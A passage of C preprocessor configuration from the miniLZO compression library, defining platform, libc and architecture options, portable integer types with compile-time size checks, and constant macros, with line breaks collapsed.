"libc" #elif defined(__GLIBC__) && defined(__GLIBC_MINOR__) # define LZO_LIBC_GLIBC (__GLIBC__ * 0x10000L + (__GLIBC_MINOR__-0) * 0x100) # define LZO_INFO_LIBC "glibc" #elif (LZO_CC_MWERKS) && defined(__MSL__) # define LZO_LIBC_MSL __MSL__ # define LZO_INFO_LIBC "msl" #elif 1 && defined(__IAR_SYSTEMS_ICC__) # define LZO_LIBC_ISOC90 1 # define LZO_INFO_LIBC "isoc90" #else # define LZO_LIBC_DEFAULT 1 # define LZO_INFO_LIBC "default" #endif #endif #if (LZO_ARCH_I386 && (LZO_OS_DOS32 || LZO_OS_WIN32) && (LZO_CC_DMC || LZO_CC_INTELC || LZO_CC_MSC || LZO_CC_PELLESC)) # define LZO_ASM_SYNTAX_MSC 1 #elif (LZO_OS_WIN64 && (LZO_CC_DMC || LZO_CC_INTELC || LZO_CC_MSC || LZO_CC_PELLESC)) #elif (LZO_ARCH_I386 && LZO_CC_GNUC && (LZO_CC_GNUC == 0x011f00ul)) #elif (LZO_ARCH_I386 && (LZO_CC_CLANG || LZO_CC_GNUC || LZO_CC_INTELC || LZO_CC_PATHSCALE)) # define LZO_ASM_SYNTAX_GNUC 1 #elif (LZO_ARCH_AMD64 && (LZO_CC_CLANG || LZO_CC_GNUC || LZO_CC_INTELC || LZO_CC_PATHSCALE)) # define LZO_ASM_SYNTAX_GNUC 1 #elif (LZO_CC_GNUC) # define LZO_ASM_SYNTAX_GNUC 1 #endif #if (LZO_ASM_SYNTAX_GNUC) #if (LZO_ARCH_I386 && LZO_CC_GNUC && (LZO_CC_GNUC < 0x020000ul)) # define __LZO_ASM_CLOBBER "ax" # define __LZO_ASM_CLOBBER_LIST_CC /*empty*/ # define __LZO_ASM_CLOBBER_LIST_CC_MEMORY /*empty*/ # define __LZO_ASM_CLOBBER_LIST_EMPTY /*empty*/ #elif (LZO_CC_INTELC && (__INTEL_COMPILER < 1000)) # define __LZO_ASM_CLOBBER "memory" # define __LZO_ASM_CLOBBER_LIST_CC /*empty*/ # define __LZO_ASM_CLOBBER_LIST_CC_MEMORY : "memory" # define __LZO_ASM_CLOBBER_LIST_EMPTY /*empty*/ #else # define __LZO_ASM_CLOBBER "cc", "memory" # define __LZO_ASM_CLOBBER_LIST_CC : "cc" # define __LZO_ASM_CLOBBER_LIST_CC_MEMORY : "cc", "memory" # define __LZO_ASM_CLOBBER_LIST_EMPTY /*empty*/ #endif #endif #if (LZO_ARCH_ALPHA) # define LZO_OPT_AVOID_UINT_INDEX 1 #elif (LZO_ARCH_AMD64) # define LZO_OPT_AVOID_INT_INDEX 1 # define LZO_OPT_AVOID_UINT_INDEX 1 # ifndef LZO_OPT_UNALIGNED16 # define LZO_OPT_UNALIGNED16 1 # endif # ifndef LZO_OPT_UNALIGNED32 # define LZO_OPT_UNALIGNED32 1 # endif # ifndef LZO_OPT_UNALIGNED64 # define LZO_OPT_UNALIGNED64 1 # endif #elif (LZO_ARCH_ARM) # if defined(__ARM_FEATURE_UNALIGNED) # ifndef LZO_OPT_UNALIGNED16 # define LZO_OPT_UNALIGNED16 1 # endif # ifndef LZO_OPT_UNALIGNED32 # define LZO_OPT_UNALIGNED32 1 # endif # elif defined(__TARGET_ARCH_ARM) && ((__TARGET_ARCH_ARM+0) >= 7) # ifndef LZO_OPT_UNALIGNED16 # define LZO_OPT_UNALIGNED16 1 # endif # ifndef LZO_OPT_UNALIGNED32 # define LZO_OPT_UNALIGNED32 1 # endif # elif defined(__TARGET_ARCH_ARM) && ((__TARGET_ARCH_ARM+0) >= 6) && !defined(__TARGET_PROFILE_M) # ifndef LZO_OPT_UNALIGNED16 # define LZO_OPT_UNALIGNED16 1 # endif # ifndef LZO_OPT_UNALIGNED32 # define LZO_OPT_UNALIGNED32 1 # endif # endif #elif (LZO_ARCH_ARM64) # ifndef LZO_OPT_UNALIGNED16 # define LZO_OPT_UNALIGNED16 1 # endif # ifndef LZO_OPT_UNALIGNED32 # define LZO_OPT_UNALIGNED32 1 # endif # ifndef LZO_OPT_UNALIGNED64 # define LZO_OPT_UNALIGNED64 1 # endif #elif (LZO_ARCH_CRIS) # ifndef LZO_OPT_UNALIGNED16 # define LZO_OPT_UNALIGNED16 1 # endif # ifndef LZO_OPT_UNALIGNED32 # define LZO_OPT_UNALIGNED32 1 # endif #elif (LZO_ARCH_I386) # ifndef LZO_OPT_UNALIGNED16 # define LZO_OPT_UNALIGNED16 1 # endif # ifndef LZO_OPT_UNALIGNED32 # define LZO_OPT_UNALIGNED32 1 # endif #elif (LZO_ARCH_IA64) # define LZO_OPT_AVOID_INT_INDEX 1 # define LZO_OPT_AVOID_UINT_INDEX 1 # define LZO_OPT_PREFER_POSTINC 1 #elif (LZO_ARCH_M68K) # define LZO_OPT_PREFER_POSTINC 1 # define LZO_OPT_PREFER_PREDEC 1 # if defined(__mc68020__) && !defined(__mcoldfire__) # ifndef LZO_OPT_UNALIGNED16 # define LZO_OPT_UNALIGNED16 1 # endif # ifndef LZO_OPT_UNALIGNED32 # define LZO_OPT_UNALIGNED32 1 # endif # endif #elif (LZO_ARCH_MIPS) # define LZO_OPT_AVOID_UINT_INDEX 1 #elif (LZO_ARCH_POWERPC) # define LZO_OPT_PREFER_PREINC 1 # define LZO_OPT_PREFER_PREDEC 1 # if (LZO_ABI_BIG_ENDIAN) # ifndef LZO_OPT_UNALIGNED16 # define LZO_OPT_UNALIGNED16 1 # endif # ifndef LZO_OPT_UNALIGNED32 # define LZO_OPT_UNALIGNED32 1 # endif # if (LZO_WORDSIZE == 8) # ifndef LZO_OPT_UNALIGNED64 # define LZO_OPT_UNALIGNED64 1 # endif # endif # endif #elif (LZO_ARCH_S390) # ifndef LZO_OPT_UNALIGNED16 # define LZO_OPT_UNALIGNED16 1 # endif # ifndef LZO_OPT_UNALIGNED32 # define LZO_OPT_UNALIGNED32 1 # endif # if (LZO_WORDSIZE == 8) # ifndef LZO_OPT_UNALIGNED64 # define LZO_OPT_UNALIGNED64 1 # endif # endif #elif (LZO_ARCH_SH) # define LZO_OPT_PREFER_POSTINC 1 # define LZO_OPT_PREFER_PREDEC 1 #endif #ifndef LZO_CFG_NO_INLINE_ASM #if (LZO_ABI_NEUTRAL_ENDIAN) || (LZO_ARCH_GENERIC) # define LZO_CFG_NO_INLINE_ASM 1 #elif (LZO_CC_LLVM) # define LZO_CFG_NO_INLINE_ASM 1 #endif #endif #if (LZO_CFG_NO_INLINE_ASM) # undef LZO_ASM_SYNTAX_MSC # undef LZO_ASM_SYNTAX_GNUC # undef __LZO_ASM_CLOBBER # undef __LZO_ASM_CLOBBER_LIST_CC # undef __LZO_ASM_CLOBBER_LIST_CC_MEMORY # undef __LZO_ASM_CLOBBER_LIST_EMPTY #endif #ifndef LZO_CFG_NO_UNALIGNED #if (LZO_ABI_NEUTRAL_ENDIAN) || (LZO_ARCH_GENERIC) # define LZO_CFG_NO_UNALIGNED 1 #endif #endif #if (LZO_CFG_NO_UNALIGNED) # undef LZO_OPT_UNALIGNED16 # undef LZO_OPT_UNALIGNED32 # undef LZO_OPT_UNALIGNED64 #endif #if defined(__LZO_INFOSTR_MM) #elif (LZO_MM_FLAT) && (defined(__LZO_INFOSTR_PM) || defined(LZO_INFO_ABI_PM)) # define __LZO_INFOSTR_MM "" #elif defined(LZO_INFO_MM) # define __LZO_INFOSTR_MM "." LZO_INFO_MM #else # define __LZO_INFOSTR_MM "" #endif #if defined(__LZO_INFOSTR_PM) #elif defined(LZO_INFO_ABI_PM) # define __LZO_INFOSTR_PM "." LZO_INFO_ABI_PM #else # define __LZO_INFOSTR_PM "" #endif #if defined(__LZO_INFOSTR_ENDIAN) #elif defined(LZO_INFO_ABI_ENDIAN) # define __LZO_INFOSTR_ENDIAN "." LZO_INFO_ABI_ENDIAN #else # define __LZO_INFOSTR_ENDIAN "" #endif #if defined(__LZO_INFOSTR_OSNAME) #elif defined(LZO_INFO_OS_CONSOLE) # define __LZO_INFOSTR_OSNAME LZO_INFO_OS "." LZO_INFO_OS_CONSOLE #elif defined(LZO_INFO_OS_POSIX) # define __LZO_INFOSTR_OSNAME LZO_INFO_OS "." LZO_INFO_OS_POSIX #else # define __LZO_INFOSTR_OSNAME LZO_INFO_OS #endif #if defined(__LZO_INFOSTR_LIBC) #elif defined(LZO_INFO_LIBC) # define __LZO_INFOSTR_LIBC "." LZO_INFO_LIBC #else # define __LZO_INFOSTR_LIBC "" #endif #if defined(__LZO_INFOSTR_CCVER) #elif defined(LZO_INFO_CCVER) # define __LZO_INFOSTR_CCVER " " LZO_INFO_CCVER #else # define __LZO_INFOSTR_CCVER "" #endif #define LZO_INFO_STRING \ LZO_INFO_ARCH __LZO_INFOSTR_MM __LZO_INFOSTR_PM __LZO_INFOSTR_ENDIAN \ " " __LZO_INFOSTR_OSNAME __LZO_INFOSTR_LIBC " " LZO_INFO_CC __LZO_INFOSTR_CCVER #if !(LZO_CFG_SKIP_LZO_TYPES) #if (!(LZO_SIZEOF_SHORT+0 > 0 && LZO_SIZEOF_INT+0 > 0 && LZO_SIZEOF_LONG+0 > 0)) # error "missing defines for sizes" #endif #if (!(LZO_SIZEOF_PTRDIFF_T+0 > 0 && LZO_SIZEOF_SIZE_T+0 > 0 && LZO_SIZEOF_VOID_P+0 > 0)) # error "missing defines for sizes" #endif #if !defined(lzo_llong_t) #if (LZO_SIZEOF_LONG_LONG+0 > 0) __lzo_gnuc_extension__ typedef long long lzo_llong_t__; __lzo_gnuc_extension__ typedef unsigned long long lzo_ullong_t__; # define lzo_llong_t lzo_llong_t__ # define lzo_ullong_t lzo_ullong_t__ #endif #endif #if !defined(lzo_int16e_t) #if (LZO_SIZEOF_LONG == 2) # define lzo_int16e_t long # define lzo_uint16e_t unsigned long #elif (LZO_SIZEOF_INT == 2) # define lzo_int16e_t int # define lzo_uint16e_t unsigned int #elif (LZO_SIZEOF_SHORT == 2) # define lzo_int16e_t short int # define lzo_uint16e_t unsigned short int #elif 1 && !(LZO_CFG_TYPE_NO_MODE_HI) && (LZO_CC_CLANG || (LZO_CC_GNUC >= 0x025f00ul) || LZO_CC_LLVM) typedef int lzo_int16e_hi_t__ __attribute__((__mode__(__HI__))); typedef unsigned int lzo_uint16e_hi_t__ __attribute__((__mode__(__HI__))); # define lzo_int16e_t lzo_int16e_hi_t__ # define lzo_uint16e_t lzo_uint16e_hi_t__ #elif (LZO_SIZEOF___INT16 == 2) # define lzo_int16e_t __int16 # define lzo_uint16e_t unsigned __int16 #else #endif #endif #if defined(lzo_int16e_t) # define LZO_SIZEOF_LZO_INT16E_T 2 LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int16e_t) == 2) LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int16e_t) == LZO_SIZEOF_LZO_INT16E_T) #endif #if !defined(lzo_int32e_t) #if (LZO_SIZEOF_LONG == 4) # define lzo_int32e_t long int # define lzo_uint32e_t unsigned long int #elif (LZO_SIZEOF_INT == 4) # define lzo_int32e_t int # define lzo_uint32e_t unsigned int #elif (LZO_SIZEOF_SHORT == 4) # define lzo_int32e_t short int # define lzo_uint32e_t unsigned short int #elif (LZO_SIZEOF_LONG_LONG == 4) # define lzo_int32e_t lzo_llong_t # define lzo_uint32e_t lzo_ullong_t #elif 1 && !(LZO_CFG_TYPE_NO_MODE_SI) && (LZO_CC_CLANG || (LZO_CC_GNUC >= 0x025f00ul) || LZO_CC_LLVM) && (__INT_MAX__+0 > 2147483647L) typedef int lzo_int32e_si_t__ __attribute__((__mode__(__SI__))); typedef unsigned int lzo_uint32e_si_t__ __attribute__((__mode__(__SI__))); # define lzo_int32e_t lzo_int32e_si_t__ # define lzo_uint32e_t lzo_uint32e_si_t__ #elif 1 && !(LZO_CFG_TYPE_NO_MODE_SI) && (LZO_CC_GNUC >= 0x025f00ul) && defined(__AVR__) && (__LONG_MAX__+0 == 32767L) typedef int lzo_int32e_si_t__ __attribute__((__mode__(__SI__))); typedef unsigned int lzo_uint32e_si_t__ __attribute__((__mode__(__SI__))); # define lzo_int32e_t lzo_int32e_si_t__ # define lzo_uint32e_t lzo_uint32e_si_t__ # define LZO_INT32_C(c) (c##LL) # define LZO_UINT32_C(c) (c##ULL) #elif (LZO_SIZEOF___INT32 == 4) # define lzo_int32e_t __int32 # define lzo_uint32e_t unsigned __int32 #else #endif #endif #if defined(lzo_int32e_t) # define LZO_SIZEOF_LZO_INT32E_T 4 LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int32e_t) == 4) LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int32e_t) == LZO_SIZEOF_LZO_INT32E_T) #endif #if !defined(lzo_int64e_t) #if (LZO_SIZEOF___INT64 == 8) # if (LZO_CC_BORLANDC) && !(LZO_CFG_TYPE_PREFER___INT64) # define LZO_CFG_TYPE_PREFER___INT64 1 # endif #endif #if (LZO_SIZEOF_INT == 8) && (LZO_SIZEOF_INT < LZO_SIZEOF_LONG) # define lzo_int64e_t int # define lzo_uint64e_t unsigned int # define LZO_SIZEOF_LZO_INT64E_T LZO_SIZEOF_INT #elif (LZO_SIZEOF_LONG == 8) # define lzo_int64e_t long int # define lzo_uint64e_t unsigned long int # define LZO_SIZEOF_LZO_INT64E_T LZO_SIZEOF_LONG #elif (LZO_SIZEOF_LONG_LONG == 8) && !(LZO_CFG_TYPE_PREFER___INT64) # define lzo_int64e_t lzo_llong_t # define lzo_uint64e_t lzo_ullong_t # if (LZO_CC_BORLANDC) # define LZO_INT64_C(c) ((c) + 0ll) # define LZO_UINT64_C(c) ((c) + 0ull) # elif 0 # define LZO_INT64_C(c) (__lzo_gnuc_extension__ (c##LL)) # define LZO_UINT64_C(c) (__lzo_gnuc_extension__ (c##ULL)) # else # define LZO_INT64_C(c) (c##LL) # define LZO_UINT64_C(c) (c##ULL) # endif # define LZO_SIZEOF_LZO_INT64E_T LZO_SIZEOF_LONG_LONG #elif (LZO_SIZEOF___INT64 == 8) # define lzo_int64e_t __int64 # define lzo_uint64e_t unsigned __int64 # if (LZO_CC_BORLANDC) # define LZO_INT64_C(c) ((c) + 0i64) # define LZO_UINT64_C(c) ((c) + 0ui64) # else # define LZO_INT64_C(c) (c##i64) # define LZO_UINT64_C(c) (c##ui64) # endif # define LZO_SIZEOF_LZO_INT64E_T LZO_SIZEOF___INT64 #else #endif #endif #if defined(lzo_int64e_t) LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int64e_t) == 8) LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int64e_t) == LZO_SIZEOF_LZO_INT64E_T) #endif #if !defined(lzo_int32l_t) #if defined(lzo_int32e_t) # define lzo_int32l_t lzo_int32e_t # define lzo_uint32l_t lzo_uint32e_t # define LZO_SIZEOF_LZO_INT32L_T LZO_SIZEOF_LZO_INT32E_T #elif (LZO_SIZEOF_INT >= 4) && (LZO_SIZEOF_INT < LZO_SIZEOF_LONG) # define lzo_int32l_t int # define lzo_uint32l_t unsigned int # define LZO_SIZEOF_LZO_INT32L_T LZO_SIZEOF_INT #elif (LZO_SIZEOF_LONG >= 4) # define lzo_int32l_t long int # define lzo_uint32l_t unsigned long int # define LZO_SIZEOF_LZO_INT32L_T LZO_SIZEOF_LONG #else # error "lzo_int32l_t" #endif #endif #if 1 LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int32l_t) >= 4) LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int32l_t) == LZO_SIZEOF_LZO_INT32L_T) #endif #if !defined(lzo_int64l_t) #if defined(lzo_int64e_t) # define lzo_int64l_t lzo_int64e_t # define lzo_uint64l_t lzo_uint64e_t # define LZO_SIZEOF_LZO_INT64L_T LZO_SIZEOF_LZO_INT64E_T #else #endif #endif #if defined(lzo_int64l_t) LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int64l_t) >= 8) LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int64l_t) == LZO_SIZEOF_LZO_INT64L_T) #endif #if !defined(lzo_int32f_t) #if (LZO_SIZEOF_SIZE_T >= 8) # define lzo_int32f_t lzo_int64l_t # define lzo_uint32f_t lzo_uint64l_t # define LZO_SIZEOF_LZO_INT32F_T LZO_SIZEOF_LZO_INT64L_T #else # define lzo_int32f_t lzo_int32l_t # define lzo_uint32f_t lzo_uint32l_t # define LZO_SIZEOF_LZO_INT32F_T LZO_SIZEOF_LZO_INT32L_T #endif #endif #if 1 LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int32f_t) >= 4) LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int32f_t) == LZO_SIZEOF_LZO_INT32F_T) #endif #if !defined(lzo_int64f_t) #if defined(lzo_int64l_t) # define lzo_int64f_t lzo_int64l_t # define lzo_uint64f_t lzo_uint64l_t # define LZO_SIZEOF_LZO_INT64F_T LZO_SIZEOF_LZO_INT64L_T #else #endif #endif #if defined(lzo_int64f_t) LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int64f_t) >= 8) LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int64f_t) == LZO_SIZEOF_LZO_INT64F_T) #endif #if !defined(lzo_intptr_t) #if 1 && (LZO_OS_OS400 && (LZO_SIZEOF_VOID_P == 16)) # define __LZO_INTPTR_T_IS_POINTER 1 typedef char* lzo_intptr_t; typedef char* lzo_uintptr_t; # define lzo_intptr_t lzo_intptr_t # define lzo_uintptr_t lzo_uintptr_t # define LZO_SIZEOF_LZO_INTPTR_T LZO_SIZEOF_VOID_P #elif (LZO_CC_MSC && (_MSC_VER >= 1300) && (LZO_SIZEOF_VOID_P == 4) && (LZO_SIZEOF_INT == 4)) typedef __w64 int lzo_intptr_t; typedef __w64 unsigned int lzo_uintptr_t; # define lzo_intptr_t lzo_intptr_t # define lzo_uintptr_t lzo_uintptr_t # define LZO_SIZEOF_LZO_INTPTR_T LZO_SIZEOF_INT #elif (LZO_SIZEOF_SHORT == LZO_SIZEOF_VOID_P) && (LZO_SIZEOF_INT > LZO_SIZEOF_VOID_P) # define lzo_intptr_t short # define lzo_uintptr_t unsigned short # define LZO_SIZEOF_LZO_INTPTR_T LZO_SIZEOF_SHORT #elif (LZO_SIZEOF_INT >= LZO_SIZEOF_VOID_P) && (LZO_SIZEOF_INT < LZO_SIZEOF_LONG) # define lzo_intptr_t int # define lzo_uintptr_t unsigned int # define LZO_SIZEOF_LZO_INTPTR_T LZO_SIZEOF_INT #elif (LZO_SIZEOF_LONG >= LZO_SIZEOF_VOID_P) # define lzo_intptr_t long # define lzo_uintptr_t unsigned long # define LZO_SIZEOF_LZO_INTPTR_T LZO_SIZEOF_LONG #elif (LZO_SIZEOF_LZO_INT64L_T >= LZO_SIZEOF_VOID_P) # define lzo_intptr_t lzo_int64l_t # define lzo_uintptr_t lzo_uint64l_t # define LZO_SIZEOF_LZO_INTPTR_T LZO_SIZEOF_LZO_INT64L_T #else # error "lzo_intptr_t" #endif #endif #if 1 LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_intptr_t) >= sizeof(void *)) LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_intptr_t) == sizeof(lzo_uintptr_t)) #endif #if !defined(lzo_word_t) #if defined(LZO_WORDSIZE) && (LZO_WORDSIZE+0 > 0) #if (LZO_WORDSIZE == LZO_SIZEOF_LZO_INTPTR_T) && !(__LZO_INTPTR_T_IS_POINTER) # define lzo_word_t lzo_uintptr_t # define lzo_sword_t lzo_intptr_t # define LZO_SIZEOF_LZO_WORD_T LZO_SIZEOF_LZO_INTPTR_T #elif (LZO_WORDSIZE == LZO_SIZEOF_LONG) # define lzo_word_t unsigned long # define lzo_sword_t long # define LZO_SIZEOF_LZO_WORD_T LZO_SIZEOF_LONG #elif (LZO_WORDSIZE == LZO_SIZEOF_INT) # define lzo_word_t unsigned int # define lzo_sword_t int # define LZO_SIZEOF_LZO_WORD_T LZO_SIZEOF_INT #elif (LZO_WORDSIZE == LZO_SIZEOF_SHORT) # define lzo_word_t unsigned short # define lzo_sword_t short # define LZO_SIZEOF_LZO_WORD_T LZO_SIZEOF_SHORT #elif (LZO_WORDSIZE == 1) # define lzo_word_t unsigned char # define lzo_sword_t signed char # define LZO_SIZEOF_LZO_WORD_T 1 #elif (LZO_WORDSIZE == LZO_SIZEOF_LZO_INT64L_T) # define lzo_word_t lzo_uint64l_t # define lzo_sword_t lzo_int64l_t # define LZO_SIZEOF_LZO_WORD_T LZO_SIZEOF_LZO_INT64L_T #elif (LZO_ARCH_SPU) && (LZO_CC_GNUC) #if 0 typedef unsigned lzo_word_t __attribute__((__mode__(__V16QI__))); typedef int lzo_sword_t __attribute__((__mode__(__V16QI__))); # define lzo_word_t lzo_word_t # define lzo_sword_t lzo_sword_t # define LZO_SIZEOF_LZO_WORD_T 16 #endif #else # error "lzo_word_t" #endif #endif #endif #if 1 && defined(lzo_word_t) LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_word_t) == LZO_WORDSIZE) LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_sword_t) == LZO_WORDSIZE) #endif #if 1 #define lzo_int8_t signed char #define lzo_uint8_t unsigned char #define LZO_SIZEOF_LZO_INT8_T 1 LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int8_t) == 1) LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int8_t) == sizeof(lzo_uint8_t)) #endif #if defined(lzo_int16e_t) #define lzo_int16_t lzo_int16e_t #define lzo_uint16_t lzo_uint16e_t #define LZO_SIZEOF_LZO_INT16_T LZO_SIZEOF_LZO_INT16E_T LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int16_t) == 2) LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int16_t) == sizeof(lzo_uint16_t)) #endif #if defined(lzo_int32e_t) #define lzo_int32_t lzo_int32e_t #define lzo_uint32_t lzo_uint32e_t #define LZO_SIZEOF_LZO_INT32_T LZO_SIZEOF_LZO_INT32E_T LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int32_t) == 4) LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int32_t) == sizeof(lzo_uint32_t)) #endif #if defined(lzo_int64e_t) #define lzo_int64_t lzo_int64e_t #define lzo_uint64_t lzo_uint64e_t #define LZO_SIZEOF_LZO_INT64_T LZO_SIZEOF_LZO_INT64E_T LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int64_t) == 8) LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int64_t) == sizeof(lzo_uint64_t)) #endif #if 1 #define lzo_int_least32_t lzo_int32l_t #define lzo_uint_least32_t lzo_uint32l_t #define LZO_SIZEOF_LZO_INT_LEAST32_T LZO_SIZEOF_LZO_INT32L_T LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int_least32_t) >= 4) LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int_least32_t) == sizeof(lzo_uint_least32_t)) #endif #if defined(lzo_int64l_t) #define lzo_int_least64_t lzo_int64l_t #define lzo_uint_least64_t lzo_uint64l_t #define LZO_SIZEOF_LZO_INT_LEAST64_T LZO_SIZEOF_LZO_INT64L_T LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int_least64_t) >= 8) LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int_least64_t) == sizeof(lzo_uint_least64_t)) #endif #if 1 #define lzo_int_fast32_t lzo_int32f_t #define lzo_uint_fast32_t lzo_uint32f_t #define LZO_SIZEOF_LZO_INT_FAST32_T LZO_SIZEOF_LZO_INT32F_T LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int_fast32_t) >= 4) LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int_fast32_t) == sizeof(lzo_uint_fast32_t)) #endif #if defined(lzo_int64f_t) #define lzo_int_fast64_t lzo_int64f_t #define lzo_uint_fast64_t lzo_uint64f_t #define LZO_SIZEOF_LZO_INT_FAST64_T LZO_SIZEOF_LZO_INT64F_T LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int_fast64_t) >= 8) LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int_fast64_t) == sizeof(lzo_uint_fast64_t)) #endif #if !defined(LZO_INT16_C) # if (LZO_BROKEN_INTEGRAL_CONSTANTS) && (LZO_SIZEOF_INT >= 2) # define LZO_INT16_C(c) ((c) + 0) # define LZO_UINT16_C(c) ((c) + 0U) # elif (LZO_BROKEN_INTEGRAL_CONSTANTS) && (LZO_SIZEOF_LONG >= 2) # define LZO_INT16_C(c) ((c) + 0L) # define LZO_UINT16_C(c) ((c) + 0UL) # elif (LZO_SIZEOF_INT >= 2) # define LZO_INT16_C(c) (c) # define LZO_UINT16_C(c) (c##U) # elif (LZO_SIZEOF_LONG >= 2) # define LZO_INT16_C(c) (c##L) # define LZO_UINT16_C(c) (c##UL) # else # error "LZO_INT16_C" # endif #endif #if !defined(LZO_INT32_C) # if (LZO_BROKEN_INTEGRAL_CONSTANTS) && (LZO_SIZEOF_INT >= 4) # define LZO_INT32_C(c) ((c) + 0) # define LZO_UINT32_C(c) ((c) + 0U) # elif (LZO_BROKEN_INTEGRAL_CONSTANTS) && (LZO_SIZEOF_LONG >= 4) # define LZO_INT32_C(c) ((c) + 0L) # define LZO_UINT32_C(c) ((c) + 0UL) # elif (LZO_SIZEOF_INT >= 4) # define LZO_INT32_C(c) (c) # define LZO_UINT32_C(c) (c##U) # elif (LZO_SIZEOF_LONG >= 4) # define LZO_INT32_C(c) (c##L) # define LZO_UINT32_C(c) (c##UL) # elif (LZO_SIZEOF_LONG_LONG >= 4) # define LZO_INT32_C(c) (c##LL) # define LZO_UINT32_C(c) (c##ULL) # else # error "LZO_INT32_C" # endif #endif #if !defined(LZO_INT64_C) && defined(lzo_int64l_t) # if (LZO_BROKEN_INTEGRAL_CONSTANTS) && (LZO_SIZEOF_INT >= 8) # define LZO_INT64_C(c) ((c) + 0) # define LZO_UINT64_C(c) ((c) + 0U) # elif (LZO_BROKEN_INTEGRAL_CONSTANTS) && (LZO_SIZEOF_LONG >= 8) # define LZO_INT64_C(c) ((c) + 0L) # define LZO_UINT64_C(c) ((c) + 0UL) # elif (LZO_SIZEOF_INT >= 8) # define LZO_INT64_C(c) (c) # define LZO_UINT64_C(c) (c##U) # elif (LZO_SIZEOF_LONG >= 8) # define LZO_INT64_C(c) (c##L) # define LZO_UINT64_C(c) (c##UL) # else # error "LZO_INT64_C" # endif #endif #endif #endif #endif #undef LZO_HAVE_CONFIG_H #include "minilzo.h" #if !defined(MINILZO_VERSION) || (MINILZO_VERSION != 0x2070) # error "version mismatch in miniLZO source files" #endif #ifdef MINILZO_HAVE_CONFIG_H # define LZO_HAVE_CONFIG_H 1 #endif #ifndef __LZO_CONF_H #define __LZO_CONF_H 1 #if !defined(__LZO_IN_MINILZO) #if defined(LZO_CFG_FREESTANDING) && (LZO_CFG_FREESTANDING) # define LZO_LIBC_FREESTANDING 1 # define LZO_OS_FREESTANDING 1 #endif #if defined(LZO_CFG_EXTRA_CONFIG_HEADER) # include LZO_CFG_EXTRA_CONFIG_HEADER #endif #if defined(__LZOCONF_H) || defined(__LZOCONF_H_INCLUDED) # error "include this file first" #endif #include "lzo/lzoconf.h" #if defined(LZO_CFG_EXTRA_CONFIG_HEADER2) # include LZO_CFG_EXTRA_CONFIG_HEADER2 #endif #endif #if (LZO_VERSION < 0x2070) || !defined(__LZOCONF_H_INCLUDED) # error "version mismatch" #endif #if (LZO_CC_MSC && (_MSC_VER >= 1000 && _MSC_VER < 1100)) # pragma warning(disable: 4702) #endif #if (LZO_CC_MSC && (_MSC_VER >= 1000)) # pragma warning(disable: 4127 4701) # pragma warning(disable: 4514 4710 4711) #endif #if (LZO_CC_MSC && (_MSC_VER >= 1300)) # pragma warning(disable: 4820) #endif #if (LZO_CC_MSC && (_MSC_VER >= 1800)) # pragma warning(disable: 4746) #endif #if (LZO_CC_SUNPROC) #if !defined(__cplusplus) # pragma error_messages(off,E_END_OF_LOOP_CODE_NOT_REACHED) # pragma error_messages(off,E_LOOP_NOT_ENTERED_AT_TOP) # pragma error_messages(off,E_STATEMENT_NOT_REACHED) #endif #endif #if defined(__LZO_IN_MINILZO) || (LZO_CFG_FREESTANDING) #elif 1 # include #else # define LZO_WANT_ACC_INCD_H 1 #endif #if defined(LZO_HAVE_CONFIG_H) # define LZO_CFG_NO_CONFIG_HEADER 1 #endif #if 1 && !defined(LZO_CFG_FREESTANDING) #if 1 && !defined(HAVE_STRING_H) #define HAVE_STRING_H 1 #endif #if 1 && !defined(HAVE_MEMCMP) #define HAVE_MEMCMP 1 #endif #if 1 && !defined(HAVE_MEMCPY) #define HAVE_MEMCPY 1 #endif #if 1 && !defined(HAVE_MEMMOVE) #define HAVE_MEMMOVE 1 #endif #if 1 && !defined(HAVE_MEMSET) #define HAVE_MEMSET 1 #endif #endif #if 1 && defined(HAVE_STRING_H) #include #endif #if 1 || defined(lzo_int8_t) || defined(lzo_uint8_t) LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int8_t) == 1) LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_uint8_t) == 1) #endif #if 1 || defined(lzo_int16_t) || defined(lzo_uint16_t) LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int16_t) == 2) LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_uint16_t) == 2) #endif #if 1 || defined(lzo_int32_t) || defined(lzo_uint32_t) LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int32_t) == 4) 